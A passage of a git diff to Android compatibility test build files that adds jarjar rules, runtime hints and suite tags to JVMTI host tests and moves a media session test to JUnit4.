         <option name="jar" value="CtsJvmtiRunTest945HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest945DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_945" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
index b1a8290..5326258 100644
--- a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
new file mode 100644
index 0000000..03ea4b9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest945@1
diff --git a/hostsidetests/jvmti/run-tests/test-947/Android.mk b/hostsidetests/jvmti/run-tests/test-947/Android.mk
index 6a612e2..2258a4b 100644
--- a/hostsidetests/jvmti/run-tests/test-947/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest947HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
index 2a8b3d1..1f7a004 100644
--- a/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-947/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest947HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest947DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_947" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
index 5d315e8..7f807d0 100644
--- a/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-947/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
new file mode 100644
index 0000000..d229133
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-947/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest947@1
diff --git a/hostsidetests/jvmti/run-tests/test-951/Android.mk b/hostsidetests/jvmti/run-tests/test-951/Android.mk
index 5a6d494..5677f8b 100644
--- a/hostsidetests/jvmti/run-tests/test-951/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest951HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
index 659506d..ef9a6e7 100644
--- a/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-951/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest951HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest951DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_951" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
index 273bec3..f70496c 100644
--- a/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-951/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
new file mode 100644
index 0000000..34d0341
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-951/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest951@1
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/jvmti/run-tests/test-981/Android.mk
deleted file mode 100644
index 151379b..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
deleted file mode 100644
index e6351d3..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS JVMTI test cases">
-    <option name="config-descriptor:metadata" key="component" value="art" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsJvmtiRunTest981DeviceApp.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsJvmtiRunTest981HostTestCases.jar" />
-        <option name="set-option" value="test-file-name:CtsJvmtiRunTest981DeviceApp.apk" />
-        <option name="set-option" value="package-name:android.jvmti.cts.run_test_981" />
-    </test>
-</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
deleted file mode 100644
index 88727c2..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
deleted file mode 100644
index a0e898a..0000000
--- a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jvmti.cts.run_test_981">
-
-    <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="981" />
-        <activity android:name="android.jvmti.JvmtiActivity" >
-        </activity>
-    </application>
-
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests for JVMTI"
-        android:targetPackage="android.jvmti.cts.run_test_981" >
-    </instrumentation>
-</manifest>
-
diff --git a/hostsidetests/jvmti/run-tests/test-982/Android.mk b/hostsidetests/jvmti/run-tests/test-982/Android.mk
index 154bc70..b766614 100644
--- a/hostsidetests/jvmti/run-tests/test-982/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest982HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
index 2411871..0470da1 100644
--- a/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-982/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest982HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest982DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_982" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
index c6099b3..3b32dfe 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
new file mode 100644
index 0000000..125fa3f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-982/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest982@1
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
index 1ff5f2e..2d71278 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
index 26c3ed6..febd68b 100644
--- a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest984HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest984DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_984" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
index 0a3c5ef..dad792a 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
new file mode 100644
index 0000000..b50c2b6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest984@1
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
index 0ed12de..06e4454 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
index 214faba..ff85148 100644
--- a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest985HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest985DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_985" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
index e092712..3a66405 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
new file mode 100644
index 0000000..a784447
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest985@1
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
index 8e6ec6f..e198471 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
index 8b012e0..3205637 100644
--- a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest986HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest986DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_986" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
index 6914162..7e907c3 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
new file mode 100644
index 0000000..51026b8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest986@1
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
index b5674cb..3d3e9e4 100644
--- a/hostsidetests/jvmti/tagging/Android.mk
+++ b/hostsidetests/jvmti/tagging/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/tagging/app/Android.mk b/hostsidetests/jvmti/tagging/app/Android.mk
index 3cd89c1..bd4faf1 100644
--- a/hostsidetests/jvmti/tagging/app/Android.mk
+++ b/hostsidetests/jvmti/tagging/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/tagging/jarjar-rules.txt b/hostsidetests/jvmti/tagging/jarjar-rules.txt
new file mode 100644
index 0000000..3dbf65a
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTestTagging@1
diff --git a/hostsidetests/media/Android.mk b/hostsidetests/media/Android.mk
index 36e9066..db83686 100644
--- a/hostsidetests/media/Android.mk
+++ b/hostsidetests/media/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsMediaHostTestCases
 
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index eb9059d..fb0fe40 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -16,7 +16,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsMediaSessionHostTestApp
 
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 60e82dd..5ae6f96 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -19,7 +19,17 @@
 
     <uses-sdk android:minSdkVersion="26"/>
 
-    <application />
+    <application
+        android:testOnly="true">
+        <service
+            android:name=".MediaSessionManagerTest"
+            android:label="MediaSessionManagerTest"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE" >
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
+    </application>
 
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 21860381..02d8107 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -17,12 +17,20 @@
 package android.media.session.cts;
 
 import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-import android.content.Context;
 import android.content.ComponentName;
-import android.test.AndroidTestCase;
-import android.media.session.MediaSessionManager;
+import android.content.Context;
 import android.media.session.MediaController;
+import android.media.session.MediaSessionManager;
+import android.service.notification.NotificationListenerService;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
 
 import java.util.List;
 
@@ -31,22 +39,25 @@
  * <p>Don't run tests here directly. They aren't stand-alone tests and each test will be run
  * indirectly by the host-side test CtsMediaHostTestCases after the proper device setup.
  */
-public class MediaSessionManagerTest extends AndroidTestCase {
+@SmallTest
+public class MediaSessionManagerTest extends NotificationListenerService {
+    private ComponentName mComponentName;
     private MediaSessionManager mMediaSessionManager;
 
-    @Override
+    @Before
     public void setUp() throws Exception {
-        super.setUp();
-        mMediaSessionManager = (MediaSessionManager) getContext().getSystemService(
+        Context context = InstrumentationRegistry.getTargetContext();
+        mMediaSessionManager = (MediaSessionManager) context.getSystemService(
                 Context.MEDIA_SESSION_SERVICE);
+        mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
     }
 
     /**
      * Tests if the MediaSessionTestHelper doesn't have an active media session.
      */
+    @Test
     public void testGetActiveSessions_noMediaSessionFromMediaSessionTestHelper() throws Exception {
-        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
-                createFakeNotificationListener());
+        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
         for (MediaController controller : controllers) {
             if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
                 fail("Media session for the media session app shouldn't be available");
@@ -58,9 +69,9 @@
     /**
      * Tests if the MediaSessionTestHelper has an active media session.
      */
+    @Test
     public void testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper() throws Exception {
-        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
-                createFakeNotificationListener());
+        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
         for (MediaController controller : controllers) {
             if (controller.getPackageName().equals(MEDIA_SESSION_TEST_HELPER_PKG)) {
                 // Test success
@@ -73,18 +84,9 @@
     /**
      * Tests if there's no media session.
      */
+    @Test
     public void testGetActiveSessions_noMediaSession() throws Exception {
-        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(
-                createFakeNotificationListener());
+        List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
         assertTrue(controllers.isEmpty());
     }
-
-    /**
-     * Returns the ComponentName of the notification listener for this test.
-     * <p>Notification listener will be enabled by the host-side test.
-     */
-    private ComponentName createFakeNotificationListener() {
-        return new ComponentName(getContext(), MediaSessionManagerTest.class);
-    }
 }
-
diff --git a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
index 3944cb6..871140a 100644
--- a/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTestHelper/Android.mk
@@ -30,7 +30,7 @@
     $(call all-java-files-under, ../../common)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsMediaSessionTestHelper
 
